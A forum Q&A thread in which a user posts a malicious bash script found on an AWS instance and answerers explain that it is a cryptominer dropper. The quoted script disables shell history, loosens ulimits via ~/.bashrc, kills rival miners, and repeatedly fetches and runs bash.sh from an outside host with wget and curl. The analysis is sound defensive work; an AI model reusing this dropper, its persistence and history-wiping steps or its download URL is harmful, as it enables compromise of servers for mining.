0

We recently got a DoS attack alert from AWS team and we figured out that a constant request is going out from this shell script in the /tmp folder which none of us have created. Can you please help us understand what this script is doing? If at all it is doing some kind of attack.

#!/bin/bash
for (( ; ; ))
do
if ls bash.sh &>/dev/null
then
echo "ulimit -u unlimited" >> ~/.bashrc
echo "ulimit -s unlimited" >> ~/.bashrc
echo "ulimit -q unlimited" >> ~/.bashrc
echo "ulimit -l unlimited" >> ~/.bashrc
echo "ulimit -i unlimited" >> ~/.bashrc
echo "ulimit -n 999999" >> ~/.bashrc
ulimit -u unlimited
ulimit -s unlimited
ulimit -q unlimited
ulimit -l unlimited
ulimit -i unlimited
ulimit -n 999999
echo "unset HISTFILE;unset SAVEHIST" >> ~/.bashrc
unset HISTFILE
unset SAVEHIST
pkill -9 wget
pkill -9 curl
pkill -9 xmr
pkill -9 cron
pkill -9 minerd
pkill -9 bot
rm -rf /var/tmp/xmr*
rm -rf /var/tmp/minerd
rm -rf /var/tmp/miner*
else
echo "unset HISTFILE;unset SAVEHIST" >> ~/.bashrc
unset HISTFILE
unset SAVEHIST
cd /tmp || cd /var/tmp || cd /mnt || cd /root || cd /; wget http://ionage.theworkpc.com:8088/bash.sh; curl -O http://ionage.theworkpc.com:8088/bash.sh; chmod +x bash.sh; nohup ./bash.sh &
history -c
fi
done
  • 2
    This is definitely an attack. In the fourth-to-last line, it's downloading a (presumably malicious) script from a remote source and executing it. You can no longer trust this EC2 instance and should destroy it. I've also voted to migrate this to Server Fault, given that it pertains to a cloud server system. – squircle Apr 9 '20 at 15:56
4

The script:

  • does an endless loop, in which
  • it first checks if a file called bash.sh is present in the curent working directory.

if yes, then

  • it puts commands into your bashrc (a file that gets loaded by bash whenever you start it) to remove limits for the bash process normally set by the system
  • it tries to remove the same limits on itself
  • it outputs command to stop saving the command history in bash into bashrc
  • it executs the same commands for itself
  • it kills instances of programs used to make requests to the web (wget and curl), stops scheduled tasks (cron), kills processes of some bitcoin miners (xmr, minerd, and whatever bot is
  • it deletes temporary directories of some coin miners

if the bash.sh script is not present, then it

  • outputs commands to stop bash form saving the command history into bashrc
  • executes the same commands
  • changes into whichever direcotry exists on your system and accessible for this script, in this order: /tmp, /vat/tmp, /mnt, /root, /;
  • downloads a "bash.sh" script into that director, downloads the same script with another program (in case the first wasn't present on your system), makes the file executable, and starts it in the background
  • deletes the history.

Long story short: the script downloads a file whenever it is not present (and executes it). while the file is present, it kills bitcoin miners and other scripts (likely an attempt to stop rivals). This gives a hint at what the downloaded script might be: a bitcoin miner.

  • Thank you for the detailed explanation. We terminated the instance. It is really interesting how the original scripts got into the instance. This instance only have a private IP and does not have public IP assigned to it (internal in the AWS-VPC). – simple Apr 9 '20 at 19:04
  • Does it have outgoing access to the internet thorugh NAT or similar? If not, it's unlikely that the script could successfully download the other script that it tries to download, so it's unlikely it caused much harm. As for how it got onto that instance: it could be that your client is infected and it copied itself onto the server through ssh. – Johannes H. Apr 9 '20 at 20:56
  • yes, it has a NAT for internet. That is how AWS found that we are having lot of outgoing traffic (total number of bytes we sent from the instance is more). – simple Apr 11 '20 at 21:53
  • @simple: the script might have gotten in by: *posing as part of another software and being downloaded by yourself accidentally *infecting your client and then copying itself over ssh *attacking the entire infrastructure behind the NAT (unlikely with amazon, but not impossible) – Johannes H. Apr 14 '20 at 6:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.